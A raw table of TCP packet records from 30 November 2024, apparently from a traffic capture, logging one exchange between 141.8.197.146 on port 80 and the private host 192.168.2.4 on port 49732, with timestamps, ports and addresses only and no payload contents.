Nov 30, 2024 05:00:14.015419006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.015461922 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.016570091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.016695976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.016731977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.017832041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.017940998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.017982006 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.019004107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.019114971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.019180059 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.020224094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.020349979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.020420074 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.021433115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.021544933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.021586895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.022660017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.022769928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.022813082 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.023835897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.043725967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.043775082 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.043811083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.044311047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.044363976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.044395924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.045522928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.045628071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.045659065 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.046746969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.046782970 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.046860933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.047981024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.048027039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.048063993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.049201012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.049245119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.049282074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.050405979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.050455093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.050473928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.102196932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.169032097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.169138908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.169245958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.169540882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.169826984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.169871092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.169883966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.171063900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.171073914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.171108007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.172245979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.172308922 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.172338963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.173715115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.173724890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.173764944 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.174781084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.174792051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.174830914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.175906897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.175997019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.176028013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.177120924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.177184105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.177221060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.178416014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.178431034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.178469896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.179572105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.179624081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.179683924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.180819035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.180864096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.180905104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.182065010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.182112932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.182122946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.183254957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.183298111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.183347940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.184480906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.184586048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.184638977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.185729980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.185774088 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.185844898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.186924934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.186969995 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.187009096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.189831972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.189841032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.189856052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.189867020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.189882040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.189915895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.190814018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.190828085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.190887928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.192035913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.192228079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.192286968 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.193228006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.193279982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.193417072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.194407940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.194464922 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.194556952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.195719957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.195764065 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.195875883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.196996927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.197009087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.197050095 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.198167086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.198208094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.198339939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.199162006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.199207067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.199242115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.200362921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.200474977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.200531006 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.201597929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.201644897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.201704025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.202820063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.202872992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.202908993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.204055071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.204143047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.204197884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.205240965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.205296040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.205333948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.206476927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.206531048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.206571102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.207705975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.207773924 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.207799911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.208941936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.209058046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.209115028 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.210141897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.210186958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.210226059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.211369038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.211416006 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.211456060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.212605953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.212682009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.212738991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.213831902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.213881016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.213920116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.215020895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.215136051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.215141058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.216259956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.216311932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.216348886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.217473030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.217518091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.217556953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.218703985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.218790054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.218842030 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.219912052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.220014095 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.220030069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.221142054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.221184969 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.221220016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.222368002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.222461939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.222511053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.223578930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.223627090 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.223685980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.224807024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.224855900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.244961023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.245095015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.245193958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.245589018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.245703936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.246814966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.246881008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.246917009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.246957064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.248033047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.248150110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.248191118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.249247074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.249360085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.250473022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.250530958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.250579119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.250623941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.251687050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.251756907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.251837969 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.650006056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.650017977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.650027990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.650038958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.650098085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.650269032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.650918007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.650928020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.650965929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.650978088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.650989056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.651002884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.651046991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.651931047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.651942015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.651976109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.651985884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.652014971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.652024031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.652036905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.652036905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.652185917 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.652879953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.652889967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.652920961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.652936935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.652973890 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.652973890 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.653738976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.653748035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.654055119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.654340982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.654350996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.654386044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.654397011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.654423952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.654428005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.654438972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.654465914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.654465914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.655359983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.655370951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.655404091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.655416965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.655464888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.655548096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.656264067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.656274080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.656294107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.656305075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.656316996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.656327009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.656337023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.656342030 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.656348944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.656359911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.656382084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.656382084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.656527042 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.657090902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.657109022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.657119036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.657129049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.657212019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.657212019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.657243013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.657253981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.657268047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.657278061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.657286882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.657296896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.657305956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.657314062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.657314062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.657316923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.657366037 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.657401085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.658119917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658132076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658139944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658149958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658159971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658201933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.658324003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.658672094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658683062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658691883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658703089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658711910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658721924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658734083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658737898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.658745050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658756971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658766985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658773899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.658773899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.658783913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.658853054 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.659006119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.659487009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.659630060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.659641027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.659650087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.659661055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.659670115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.659679890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.659689903 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.659691095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.659703016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.659713030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.659723043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.659724951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.659724951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.659773111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.660592079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.660602093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.660610914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.660621881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.660630941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.660641909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.660651922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.660662889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.660672903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.660682917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.660692930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.660721064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.660744905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.660744905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.661411047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.661422968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.661537886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.661554098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.661566019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.661573887 CET	80	49732	141.8.197.146	192.168.2.4
